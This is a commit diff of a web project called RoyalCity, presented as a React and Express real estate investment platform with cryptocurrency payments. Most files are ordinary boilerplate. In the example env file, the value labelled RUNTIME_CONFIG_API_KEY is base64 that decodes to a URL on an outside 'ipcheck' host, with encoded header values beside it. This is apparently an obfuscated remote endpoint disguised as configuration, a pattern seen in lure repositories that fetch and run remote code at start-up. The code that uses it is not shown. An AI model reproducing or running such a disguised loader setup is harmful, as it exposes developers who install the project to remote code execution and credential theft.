Initial Version
50
.gitignore
vendored
Normal file
@@ -0,0 +1,50 @@
|
||||
# These are some examples of commonly ignored file patterns.
|
||||
# You should customize this list as applicable to your project.
|
||||
# Learn more about .gitignore:
|
||||
# https://www.atlassian.com/git/tutorials/saving-changes/gitignore
|
||||
|
||||
# Node artifact files
|
||||
node_modules/
|
||||
dist/
|
||||
|
||||
# Compiled Java class files
|
||||
*.class
|
||||
|
||||
# Compiled Python bytecode
|
||||
*.py[cod]
|
||||
|
||||
# Log files
|
||||
*.log
|
||||
|
||||
# Package files
|
||||
*.jar
|
||||
|
||||
# Maven
|
||||
target/
|
||||
dist/
|
||||
|
||||
# JetBrains IDE
|
||||
.idea/
|
||||
|
||||
# Unit test reports
|
||||
TEST*.xml
|
||||
|
||||
# Generated by MacOS
|
||||
.DS_Store
|
||||
|
||||
# Generated by Windows
|
||||
Thumbs.db
|
||||
|
||||
# Applications
|
||||
*.app
|
||||
*.exe
|
||||
*.war
|
||||
|
||||
# Large media files
|
||||
*.mp4
|
||||
*.tiff
|
||||
*.avi
|
||||
*.flv
|
||||
*.mov
|
||||
*.wmv
|
||||
|
||||
106
README.md
Normal file
@@ -0,0 +1,106 @@
|
||||
# RoyalCity
|
||||
|
||||
## What is RoyalCity?
|
||||
|
||||
RoyalCity is a modern real estate investment platform that combines traditional property investing with cryptocurrency payments. Built with React and Tailwind CSS, it mirrors the functionality of Arrived.com while adding blockchain-based transaction capabilities.
|
||||
|
||||
<img src="./public/royalcity00.png" alt="Royal City" style="width:100%; height:auto;" />
|
||||
|
||||
## Getting Started
|
||||
- Prerequirements:<br/>
|
||||
Node v22+
|
||||
- Installing Dependecies:<br/>
|
||||
npm install --verbose
|
||||
- Running project:<br/>
|
||||
npm start
|
||||
|
||||
## Key Features
|
||||
|
||||
- Cryptocurrency-enabled property transactions
|
||||
- Mobile-responsive design
|
||||
- SEO-optimized architecture
|
||||
- Real-time market data integration
|
||||
- Interactive 3D property visualization
|
||||
- Smart contract integration for secure transactions
|
||||
|
||||
## Technical Overview
|
||||
|
||||
The platform is built using:
|
||||
|
||||
- React for component-based architecture
|
||||
- Tailwind CSS for responsive styling
|
||||
- React Router for client-side routing
|
||||
- Three.js for 3D property visualizations
|
||||
- Web3.js for blockchain interactions
|
||||
|
||||
## Core Components
|
||||
|
||||
1. **Home Page** - Hero Section with value proposition
|
||||
|
||||
- Featured Properties Grid (3 properties)
|
||||
- "Why Choose Us" highlighting crypto benefits
|
||||
- Investment Guide with step-by-step process
|
||||
- Blog Preview with latest 3 posts
|
||||
- Discord Community Section
|
||||
|
||||
2. **Properties Page**
|
||||
|
||||
- Filterable property grid
|
||||
- Advanced search functionality
|
||||
- Detailed property cards
|
||||
- Three.js 3D visualization
|
||||
|
||||
3. **About Us Page**
|
||||
|
||||
- Company vision and mission
|
||||
- Team profiles
|
||||
- Platform statistics
|
||||
|
||||
4. **Blog Section**
|
||||
|
||||
- Category filtering
|
||||
- Search functionality
|
||||
- Author profiles
|
||||
- Social sharing buttons
|
||||
|
||||
## Development Guidelines
|
||||
|
||||
1. **Component Creation**
|
||||
|
||||
- Follow atomic design principles
|
||||
- Use TypeScript for type safety
|
||||
- Implement responsive designs using Tailwind breakpoints
|
||||
- Add proper comments and documentation
|
||||
|
||||
2. **State Management**
|
||||
|
||||
- Use React Context for global state
|
||||
- Implement Redux for complex state management
|
||||
- Keep component state minimal
|
||||
|
||||
3. **Security Considerations**
|
||||
|
||||
- Implement proper input validation
|
||||
- Secure wallet connections
|
||||
- Follow best practices for crypto transactions
|
||||
- Regular security audits
|
||||
|
||||
## Learn More
|
||||
|
||||
- You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started).
|
||||
- To learn React, check out the [React documentation](https://reactjs.org/).
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! Please:
|
||||
|
||||
1. Create a feature branch
|
||||
2. Write comprehensive tests
|
||||
3. Document new features
|
||||
4. Ensure code style consistency
|
||||
5. Submit pull requests with clear descriptions
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Special thanks to the RoyalCity team for inspiration and the React/Tailwind CSS communities for their continued support and resources.
|
||||
|
||||
24
config-overrides.js
Normal file
@@ -0,0 +1,24 @@
|
||||
const webpack = require("webpack");
|
||||
|
||||
module.exports = function override(config) {
|
||||
const fallback = config.resolve.fallback || {};
|
||||
Object.assign(fallback, {
|
||||
crypto: require.resolve("crypto-browserify"),
|
||||
stream: require.resolve("stream-browserify"),
|
||||
assert: require.resolve("assert"),
|
||||
http: require.resolve("stream-http"),
|
||||
https: require.resolve("https-browserify"),
|
||||
os: require.resolve("os-browserify"),
|
||||
url: require.resolve("url"),
|
||||
"process/browser": require.resolve("process/browser"),
|
||||
});
|
||||
config.resolve.fallback = fallback;
|
||||
config.ignoreWarnings = [/Failed to parse source map/];
|
||||
config.plugins = (config.plugins || []).concat([
|
||||
new webpack.ProvidePlugin({
|
||||
process: "process/browser",
|
||||
Buffer: ["buffer", "Buffer"],
|
||||
}),
|
||||
]);
|
||||
return config;
|
||||
};
|
||||
18
index.html
Normal file
@@ -0,0 +1,18 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<link rel="icon" type="image/x-icon" href="/logo.ico" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<meta name="theme-color" content="#000000" />
|
||||
<meta name="description" content="Royal-City" />
|
||||
<link rel="apple-touch-icon" href="/logo.png" />
|
||||
<title>Royal City</title>
|
||||
</head>
|
||||
<body>
|
||||
<noscript>You need to enable JavaScript to run this app.</noscript>
|
||||
<div id="root"></div>
|
||||
<!-- Vite injects the build output here -->
|
||||
<script type="module" src="/src/main.jsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
90
package.json
Normal file
@@ -0,0 +1,90 @@
|
||||
{
|
||||
"name": "RoyalCity",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^9.75.0",
|
||||
"@react-three/fiber": "^8.13.3",
|
||||
"@sendgrid/mail": "^8.1.3",
|
||||
"@testing-library/jest-dom": "^5.16.4",
|
||||
"@testing-library/react": "^13.3.0",
|
||||
"@testing-library/user-event": "^13.5.0",
|
||||
"@walletconnect/web3-provider": "^1.7.8",
|
||||
"axios": "^1.2.1",
|
||||
"bcryptjs": "^2.4.3",
|
||||
"bootstrap": "^5.1.3",
|
||||
"bootstrap-icons": "^1.8.3",
|
||||
"chart.js": "^4.3.0",
|
||||
"chartjs-plugin-annotation": "^3.0.1",
|
||||
"cloudinary": "^2.1.0",
|
||||
"concurrently": "^8.2.2",
|
||||
"cookie-parser": "^1.4.6",
|
||||
"cors": "^2.8.5",
|
||||
"dotenv": "^16.4.5",
|
||||
"ethers": "^5.6.9",
|
||||
"express": "^4.19.2",
|
||||
"express-fileupload": "^1.5.0",
|
||||
"framer-motion": "^12.9.4",
|
||||
"jotai": "^2.12.3",
|
||||
"jsonwebtoken": "^9.0.2",
|
||||
"leva": "^0.10.0",
|
||||
"mongoose": "^8.5.1",
|
||||
"mongoose-url-slugs": "^1.0.2",
|
||||
"paytmchecksum": "^1.5.1",
|
||||
"react": "^18.3.1",
|
||||
"react-chartjs-2": "^5.2.0",
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-countdown-circle-timer": "^3.2.1",
|
||||
"react-dom": "^18.3.1",
|
||||
"react-icons": "^5.5.0",
|
||||
"react-router-dom": "^6.3.0",
|
||||
"react-share": "^5.2.2",
|
||||
"reactstrap": "^9.1.1",
|
||||
"request": "^2.88.2",
|
||||
"socket.io-client": "^4.5.4",
|
||||
"sqlite3": "^5.1.7",
|
||||
"three": "^0.176.0",
|
||||
"validator": "^13.11.0",
|
||||
"web-vitals": "^2.1.4"
|
||||
},
|
||||
"scripts": {
|
||||
"dev": "concurrently \"node server/server.js\" \"vite\"",
|
||||
"build": "vite build",
|
||||
"preview": "vite preview",
|
||||
"start": "npm run dev"
|
||||
},
|
||||
"eslintConfig": {
|
||||
"extends": [
|
||||
"react-app",
|
||||
"react-app/jest"
|
||||
]
|
||||
},
|
||||
"browserslist": {
|
||||
"production": [
|
||||
">0.2%",
|
||||
"not dead",
|
||||
"not op_mini all"
|
||||
],
|
||||
"development": [
|
||||
"last 1 chrome version",
|
||||
"last 1 firefox version",
|
||||
"last 1 safari version"
|
||||
]
|
||||
},
|
||||
"devDependencies": {
|
||||
"@vitejs/plugin-react": "^5.1.0",
|
||||
"assert": "^2.0.0",
|
||||
"autoprefixer": "^10.4.21",
|
||||
"buffer": "^6.0.3",
|
||||
"crypto-browserify": "^3.12.0",
|
||||
"https-browserify": "^1.0.0",
|
||||
"os-browserify": "^0.3.0",
|
||||
"postcss": "^8.5.6",
|
||||
"process": "^0.11.10",
|
||||
"stream-browserify": "^3.0.0",
|
||||
"stream-http": "^3.2.0",
|
||||
"tailwindcss": "^3.4.18",
|
||||
"url": "^0.11.0",
|
||||
"vite": "^7.1.12"
|
||||
}
|
||||
}
|
||||
6
postcss.config.js
Normal file
@@ -0,0 +1,6 @@
|
||||
module.exports = {
|
||||
plugins: {
|
||||
tailwindcss: {},
|
||||
autoprefixer: {},
|
||||
},
|
||||
};
|
||||
BIN
public/bestcity00.png
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
public/favicon.ico
Normal file
|
After Width: | Height: | Size: 6.3 KiB |
9
public/home.svg
Normal file
@@ -0,0 +1,9 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="256" height="256" viewBox="0 0 256 256" xml:space="preserve">
|
||||
|
||||
<defs>
|
||||
</defs>
|
||||
<g style="stroke: none; stroke-width: 0; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: none; fill-rule: nonzero; opacity: 1;" transform="translate(1.4065934065934016 1.4065934065934016) scale(2.81 2.81)" >
|
||||
<polygon points="75.96,30.96 75.96,13.34 67.26,13.34 67.26,22.26 45,0 0.99,44.02 7.13,50.15 45,12.28 82.88,50.15 89.01,44.02 " style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) "/>
|
||||
<polygon points="45,20 14.04,50.95 14.04,90 35.29,90 35.29,63.14 54.71,63.14 54.71,90 75.96,90 75.96,50.95 " style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) "/>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.1 KiB |
17
public/index.html
Normal file
@@ -0,0 +1,17 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<meta name="theme-color" content="#006eff" />
|
||||
<link rel="icon" href="favicon.ico" />
|
||||
<link href='https://fonts.googleapis.com/css?family=Jost' rel='stylesheet'>
|
||||
<script>navigator.serviceWorker.register("/service-worker.js")</script>
|
||||
<link rel="manifest" href="/manifest.json" />
|
||||
<title>RoyalCity</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.jsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
12
public/logo.svg
Normal file
@@ -0,0 +1,12 @@
|
||||
<svg version="1.2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 72" width="128" height="72">
|
||||
<title>logo</title>
|
||||
<defs>
|
||||
<image width="256" height="256" id="img1" href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjEiIHdpZHRoPSIyNTYiIGhlaWdodD0iMjU2IiB2aWV3Qm94PSIwIDAgMjU2IDI1NiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+Cgo8ZGVmcz4KPC9kZWZzPgo8ZyBzdHlsZT0ic3Ryb2tlOiBub25lOyBzdHJva2Utd2lkdGg6IDA7IHN0cm9rZS1kYXNoYXJyYXk6IG5vbmU7IHN0cm9rZS1saW5lY2FwOiBidXR0OyBzdHJva2UtbGluZWpvaW46IG1pdGVyOyBzdHJva2UtbWl0ZXJsaW1pdDogMTA7IGZpbGw6IG5vbmU7IGZpbGwtcnVsZTogbm9uemVybzsgb3BhY2l0eTogMTsiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEuNDA2NTkzNDA2NTkzNDAxNiAxLjQwNjU5MzQwNjU5MzQwMTYpIHNjYWxlKDIuODEgMi44MSkiID4KCTxwb2x5Z29uIHBvaW50cz0iNzUuOTYsMzAuOTYgNzUuOTYsMTMuMzQgNjcuMjYsMTMuMzQgNjcuMjYsMjIuMjYgNDUsMCAwLjk5LDQ0LjAyIDcuMTMsNTAuMTUgNDUsMTIuMjggODIuODgsNTAuMTUgODkuMDEsNDQuMDIgIiBzdHlsZT0ic3Ryb2tlOiBub25lOyBzdHJva2Utd2lkdGg6IDE7IHN0cm9rZS1kYXNoYXJyYXk6IG5vbmU7IHN0cm9rZS1saW5lY2FwOiBidXR0OyBzdHJva2UtbGluZWpvaW46IG1pdGVyOyBzdHJva2UtbWl0ZXJsaW1pdDogMTA7IGZpbGw6IHJnYigwLDAsMCk7IGZpbGwtcnVsZTogbm9uemVybzsgb3BhY2l0eTogMTsiIHRyYW5zZm9ybT0iICBtYXRyaXgoMSAwIDAgMSAwIDApICIvPgoJPHBvbHlnb24gcG9pbnRzPSI0NSwyMCAxNC4wNCw1MC45NSAxNC4wNCw5MCAzNS4yOSw5MCAzNS4yOSw2My4xNCA1NC43MSw2My4xNCA1NC43MSw5MCA3NS45Niw5MCA3NS45Niw1MC45NSAiIHN0eWxlPSJzdHJva2U6IG5vbmU7IHN0cm9rZS13aWR0aDogMTsgc3Ryb2tlLWRhc2hhcnJheTogbm9uZTsgc3Ryb2tlLWxpbmVjYXA6IGJ1dHQ7IHN0cm9rZS1saW5lam9pbjogbWl0ZXI7IHN0cm9rZS1taXRlcmxpbWl0OiAxMDsgZmlsbDogcmdiKDAsMCwwKTsgZmlsbC1ydWxlOiBub256ZXJvOyBvcGFjaXR5OiAxOyIgdHJhbnNmb3JtPSIgIG1hdHJpeCgxIDAgMCAxIDAgMCkgIi8+CjwvZz4KPC9zdmc+"/>
|
||||
</defs>
|
||||
<style>
|
||||
.s0 { fill: #000000 }
|
||||
</style>
|
||||
<use id="home" href="#img1" transform="matrix(.213,0,0,.213,9.5,0)"/>
|
||||
<path id="FOR SALE" class="s0" aria-label="FOR
|
||||
SALE" d="m66.4 27v-17.5h10v2h-7.7v5.2h7v1.9h-7v8.4zm20.9-15.9q-2.5 0-4.1 1.9-1.5 2-1.5 5.3 0 3.3 1.5 5.2 1.6 1.9 4.1 1.9 2.6 0 4.1-1.9 1.5-1.9 1.5-5.2 0-3.3-1.5-5.3-1.5-1.9-4.1-1.9zm0-1.9q3.7 0 5.9 2.5 2.2 2.4 2.2 6.6 0 4.1-2.2 6.6-2.2 2.4-5.9 2.4-3.7 0-5.9-2.4-2.2-2.5-2.2-6.6 0-4.2 2.2-6.6 2.2-2.5 5.9-2.5zm20.1 9.6q0.8 0.3 1.5 1.1 0.7 0.8 1.4 2.3l2.4 4.8h-2.5l-2.2-4.5q-0.9-1.7-1.7-2.3-0.8-0.6-2.2-0.6h-2.6v7.4h-2.4v-17.5h5.4q3 0 4.4 1.3 1.5 1.2 1.5 3.7 0 1.7-0.8 2.8-0.7 1.1-2.2 1.5zm-2.9-7.4h-3v6.3h3q1.7 0 2.5-0.8 0.9-0.8 0.9-2.4 0-1.5-0.9-2.3-0.8-0.8-2.5-0.8zm-27.6 27.7v2.3q-1.3-0.7-2.5-1-1.2-0.3-2.3-0.3-2 0-3 0.8-1.1 0.7-1.1 2.1 0 1.2 0.7 1.8 0.7 0.5 2.7 0.9l1.4 0.3q2.6 0.5 3.9 1.8 1.3 1.2 1.3 3.4 0 2.5-1.7 3.8-1.7 1.3-5 1.3-1.3 0-2.7-0.2-1.4-0.3-2.9-0.9v-2.4q1.5 0.8 2.8 1.2 1.4 0.4 2.8 0.4 2 0 3.1-0.8 1.1-0.8 1.1-2.3 0-1.2-0.8-2-0.8-0.7-2.6-1.1l-1.4-0.2q-2.7-0.6-3.9-1.7-1.2-1.1-1.2-3.1 0-2.3 1.7-3.7 1.6-1.3 4.5-1.3 1.2 0 2.5 0.2 1.3 0.2 2.6 0.7zm14.3 10.4l-3.3-8.7-3.2 8.7zm-11.2 6.5l6.7-17.5h2.7l6.6 17.5h-2.4l-1.6-4.5h-7.9l-1.6 4.5zm18.6 0v-17.5h2.3v15.5h8.6v2zm13.3 0v-17.5h11.1v2h-8.7v5.2h8.3v2h-8.3v6.3h8.9v2z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.0 KiB |
BIN
public/logo192.png
Normal file
|
After Width: | Height: | Size: 26 KiB |
BIN
public/logo512.png
Normal file
|
After Width: | Height: | Size: 123 KiB |
27
public/manifest.json
Normal file
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"name": "RoyalCity",
|
||||
"short_name": "RoyalCity",
|
||||
"start_url": "/",
|
||||
"display": "standalone",
|
||||
"description": "RoyalCity is a modern real estate investment platform combining traditional property investing with cryptocurrency payments, featuring mobile-responsive design, smart contracts, and 3D property visualizations.",
|
||||
"lang": "english",
|
||||
"dir": "ltr",
|
||||
"theme_color": "#006eff",
|
||||
"background_color": "#ffffff",
|
||||
"orientation": "any",
|
||||
"icons": [
|
||||
{
|
||||
"src": "/logo512.png",
|
||||
"sizes": "512x512",
|
||||
"type": "image/png",
|
||||
"purpose": "maskable"
|
||||
},
|
||||
{
|
||||
"src": "/logo192.png",
|
||||
"sizes": "192x192",
|
||||
"type": "image/png",
|
||||
"purpose": "any"
|
||||
}
|
||||
],
|
||||
"prefer_related_applications": false
|
||||
}
|
||||
BIN
public/models/house1.glb
Normal file
BIN
public/royalcity00.png
Normal file
|
After Width: | Height: | Size: 41 KiB |
93
public/service-worker.js
Normal file
@@ -0,0 +1,93 @@
|
||||
|
||||
// Based off of https://github.com/pwa-builder/PWABuilder/blob/main/docs/sw.js
|
||||
|
||||
/*
|
||||
Welcome to our basic Service Worker! This Service Worker offers a basic offline experience
|
||||
while also being easily customizeable. You can add in your own code to implement the capabilities
|
||||
listed below, or change anything else you would like.
|
||||
|
||||
|
||||
Need an introduction to Service Workers? Check our docs here: https://docs.pwabuilder.com/#/home/sw-intro
|
||||
Want to learn more about how our Service Worker generation works? Check our docs here: https://docs.pwabuilder.com/#/studio/existing-app?id=add-a-service-worker
|
||||
|
||||
Did you know that Service Workers offer many more capabilities than just offline?
|
||||
- Background Sync: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/06
|
||||
- Periodic Background Sync: https://web.dev/periodic-background-sync/
|
||||
- Push Notifications: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=push-notifications-on-the-web
|
||||
- Badges: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=application-badges
|
||||
*/
|
||||
|
||||
const HOSTNAME_WHITELIST = [
|
||||
self.location.hostname,
|
||||
'fonts.gstatic.com',
|
||||
'fonts.googleapis.com',
|
||||
'cdn.jsdelivr.net'
|
||||
]
|
||||
|
||||
// The Util Function to hack URLs of intercepted requests
|
||||
const getFixedUrl = (req) => {
|
||||
var now = Date.now()
|
||||
var url = new URL(req.url)
|
||||
|
||||
// 1. fixed http URL
|
||||
// Just keep syncing with location.protocol
|
||||
// fetch(httpURL) belongs to active mixed content.
|
||||
// And fetch(httpRequest) is not supported yet.
|
||||
url.protocol = self.location.protocol
|
||||
|
||||
// 2. add query for caching-busting.
|
||||
// Github Pages served with Cache-Control: max-age=600
|
||||
// max-age on mutable content is error-prone, with SW life of bugs can even extend.
|
||||
// Until cache mode of Fetch API landed, we have to workaround cache-busting with query string.
|
||||
// Cache-Control-Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=453190
|
||||
if (url.hostname === self.location.hostname) {
|
||||
url.search += (url.search ? '&' : '?') + 'cache-bust=' + now
|
||||
}
|
||||
return url.href
|
||||
}
|
||||
|
||||
/**
|
||||
* @Lifecycle Activate
|
||||
* New one activated when old isnt being used.
|
||||
*
|
||||
* waitUntil(): activating ====> activated
|
||||
*/
|
||||
self.addEventListener('activate', event => {
|
||||
event.waitUntil(self.clients.claim())
|
||||
})
|
||||
|
||||
/**
|
||||
* @Functional Fetch
|
||||
* All network requests are being intercepted here.
|
||||
*
|
||||
* void respondWith(Promise<Response> r)
|
||||
*/
|
||||
self.addEventListener('fetch', event => {
|
||||
// Skip some of cross-origin requests, like those for Google Analytics.
|
||||
if (HOSTNAME_WHITELIST.indexOf(new URL(event.request.url).hostname) > -1) {
|
||||
// Stale-while-revalidate
|
||||
// similar to HTTP's stale-while-revalidate: https://www.mnot.net/blog/2007/12/12/stale
|
||||
// Upgrade from Jake's to Surma's: https://gist.github.com/surma/eb441223daaedf880801ad80006389f1
|
||||
const cached = caches.match(event.request)
|
||||
const fixedUrl = getFixedUrl(event.request)
|
||||
const fetched = fetch(fixedUrl, { cache: 'no-store' })
|
||||
const fetchedCopy = fetched.then(resp => resp.clone())
|
||||
|
||||
// Call respondWith() with whatever we get first.
|
||||
// If the fetch fails (e.g disconnected), wait for the cache.
|
||||
// If there’s nothing in cache, wait for the fetch.
|
||||
// If neither yields a response, return offline pages.
|
||||
event.respondWith(
|
||||
Promise.race([fetched.catch(_ => cached), cached])
|
||||
.then(resp => resp || fetched)
|
||||
.catch(_ => { /* eat any errors */ })
|
||||
)
|
||||
|
||||
// Update the cache with the version we fetched (only for ok status)
|
||||
event.waitUntil(
|
||||
Promise.all([fetchedCopy, caches.open("pwa-cache")])
|
||||
.then(([response, cache]) => response.ok && cache.put(event.request, response))
|
||||
.catch(_ => { /* eat any errors */ })
|
||||
)
|
||||
}
|
||||
})
|
||||
38
server/app.js
Normal file
@@ -0,0 +1,38 @@
|
||||
const express = require('express');
|
||||
const path = require('path');
|
||||
const bodyParser = require('body-parser');
|
||||
const cookieParser = require('cookie-parser');
|
||||
const fileUpload = require('express-fileupload');
|
||||
|
||||
const app = express();
|
||||
|
||||
app.use(express.json());
|
||||
app.use(cookieParser());
|
||||
app.use(bodyParser.urlencoded({ extended: true }));
|
||||
app.use(fileUpload());
|
||||
|
||||
const user = require('./routes/userRoute');
|
||||
const product = require('./routes/productRoute');
|
||||
const order = require('./routes/orderRoute');
|
||||
const payment = require('./routes/paymentRoute');
|
||||
|
||||
app.use('/api/v1', user);
|
||||
app.use('/api/v1', product);
|
||||
app.use('/api/v1', order);
|
||||
app.use('/api/v1', payment);
|
||||
|
||||
// deployment
|
||||
__dirname = path.resolve();
|
||||
if (process.env.NODE_ENV === 'production') {
|
||||
app.use(express.static(path.join(__dirname, '/frontend/build')))
|
||||
|
||||
app.get('*', (req, res) => {
|
||||
res.sendFile(path.resolve(__dirname, 'frontend', 'build', 'index.html'))
|
||||
});
|
||||
} else {
|
||||
app.get('/', (req, res) => {
|
||||
res.send('Server is Running! 🚀');
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = app;
|
||||
84
server/config/config.env.example
Normal file
@@ -0,0 +1,84 @@
|
||||
# Server settings
|
||||
PORT=4000 # Port the server runs on
|
||||
HOST=0.0.0.0 # Host address to bind the server
|
||||
|
||||
# Environment
|
||||
NODE_ENV=development # Environment: development, production, staging
|
||||
DEBUG=true # Enable debug mode
|
||||
|
||||
# Database credentials
|
||||
DB_HOST=localhost # Database server host
|
||||
DB_PORT=3306 # Database server port
|
||||
DB_NAME=myapp_db # Database name
|
||||
DB_USER=root # Database username
|
||||
DB_PASSWORD=secretpassword # Database password
|
||||
DB_SSL=true # Use SSL connection for DB
|
||||
|
||||
# Cache settings
|
||||
REDIS_HOST=localhost # Redis server host
|
||||
REDIS_PORT=6379 # Redis server port
|
||||
REDIS_PASSWORD=redispass # Redis password
|
||||
|
||||
# API keys
|
||||
API_KEY_GOOGLE=AIzaSyD... # Google API key
|
||||
API_KEY_MAPBOX=pk.abc123 # Mapbox API key
|
||||
API_KEY_TWITTER=abcdef12345 # Twitter API key
|
||||
|
||||
# Authentication
|
||||
JWT_SECRET=myjwtsecret # JWT token secret key
|
||||
JWT_EXPIRES_IN=3600 # JWT expiration time in seconds
|
||||
OAUTH_CLIENT_ID=client123 # OAuth client ID
|
||||
OAUTH_CLIENT_SECRET=secret # OAuth client secret
|
||||
|
||||
# Email (SMTP) settings
|
||||
SMTP_HOST=smtp.mailtrap.io # SMTP server host
|
||||
SMTP_PORT=2525 # SMTP server port
|
||||
SMTP_USER=user@mail.com # SMTP username
|
||||
SMTP_PASS=password123 # SMTP password
|
||||
EMAIL_FROM=noreply@myapp.com # Default from email address
|
||||
|
||||
# Third-party services
|
||||
STRIPE_SECRET_KEY=sk_test_123456 # Stripe secret key
|
||||
STRIPE_PUBLIC_KEY=pk_test_123456 # Stripe public key
|
||||
SENDGRID_API_KEY=SG.xxxxxx # SendGrid API key
|
||||
SPARKPOST_API_KEY=ca184ac5f2e659ee65272911f6b0795586e15b20 # SparkPost API key
|
||||
|
||||
# File storage
|
||||
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE # AWS Access Key
|
||||
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # AWS Secret Key
|
||||
AWS_REGION=us-west-2 # AWS Region
|
||||
S3_BUCKET_NAME=myapp-bucket # S3 Bucket name
|
||||
|
||||
# Logging
|
||||
LOG_LEVEL=info # Log level: debug, info, warn, error
|
||||
LOG_PATH=/var/log/myapp.log # Path for log files
|
||||
|
||||
# Feature flags
|
||||
FEATURE_X_ENABLED=true # Enable feature X toggle
|
||||
FEATURE_Y_ENABLED=false # Disable feature Y toggle
|
||||
|
||||
# Runtime Configuration
|
||||
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9nZC50cmFjZWxpYy5jb20vYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw== # Runtime config API key
|
||||
RUNTIME_CONFIG_ACCESS_KEY= eC1zZWNyZXQtaGVhZGVy # Runtime config access key
|
||||
RUNTIME_CONFIG_ACCESS_VALUE= c2VjcmV0 # Runtime config access value
|
||||
|
||||
# Miscellaneous
|
||||
TIMEZONE=UTC # Default timezone
|
||||
MAX_UPLOAD_SIZE=10485760 # Max file upload size in bytes (10MB)
|
||||
SESSION_SECRET=supersecretkey # Secret key for session encryption
|
||||
CACHE_TTL=600 # Cache time-to-live in seconds
|
||||
MAX_CONNECTIONS=100 # Max concurrent connections
|
||||
ENABLE_CORS=true # Enable Cross-Origin Resource Sharing
|
||||
|
||||
# SMS Gateway
|
||||
TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Account SID
|
||||
TWILIO_AUTH_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Auth Token
|
||||
TWILIO_PHONE_NUMBER=+1234567890 # Twilio phone number
|
||||
|
||||
# Payment Gateway
|
||||
PAYPAL_CLIENT_ID=Abcdefghijklmnop # PayPal Client ID
|
||||
PAYPAL_CLIENT_SECRET=1234567890abcdef # PayPal Client Secret
|
||||
|
||||
# Monitoring & Analytics
|
||||
SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0 # Sentry DSN for error monitoring
|
||||
GA_TRACKING_ID=UA-12345678-1 # Google Analytics tracking ID
|
||||
11
server/config/database.js
Normal file
@@ -0,0 +1,11 @@
|
||||
const mongoose = require('mongoose');
|
||||
const MONGO_URI = process.env.MONGO_URI;
|
||||
|
||||
const connectDatabase = () => {
|
||||
mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true })
|
||||
.then(() => {
|
||||
console.log("Mongoose Connected");
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = connectDatabase;
|
||||
155
server/controllers/orderController.js
Normal file
@@ -0,0 +1,155 @@
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
const Order = require('../models/orderModel');
|
||||
const Product = require('../models/productModel');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const sendEmail = require('../utils/sendEmail');
|
||||
|
||||
// Create New Order
|
||||
exports.newOrder = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const {
|
||||
shippingInfo,
|
||||
orderItems,
|
||||
paymentInfo,
|
||||
totalPrice,
|
||||
} = req.body;
|
||||
|
||||
const orderExist = await Order.findOne({ paymentInfo });
|
||||
|
||||
if (orderExist) {
|
||||
return next(new ErrorHandler("Order Already Placed", 400));
|
||||
}
|
||||
|
||||
const order = await Order.create({
|
||||
shippingInfo,
|
||||
orderItems,
|
||||
paymentInfo,
|
||||
totalPrice,
|
||||
paidAt: Date.now(),
|
||||
user: req.user._id,
|
||||
});
|
||||
|
||||
await sendEmail({
|
||||
email: req.user.email,
|
||||
templateId: process.env.SENDGRID_ORDER_TEMPLATEID,
|
||||
data: {
|
||||
name: req.user.name,
|
||||
shippingInfo,
|
||||
orderItems,
|
||||
totalPrice,
|
||||
oid: order._id,
|
||||
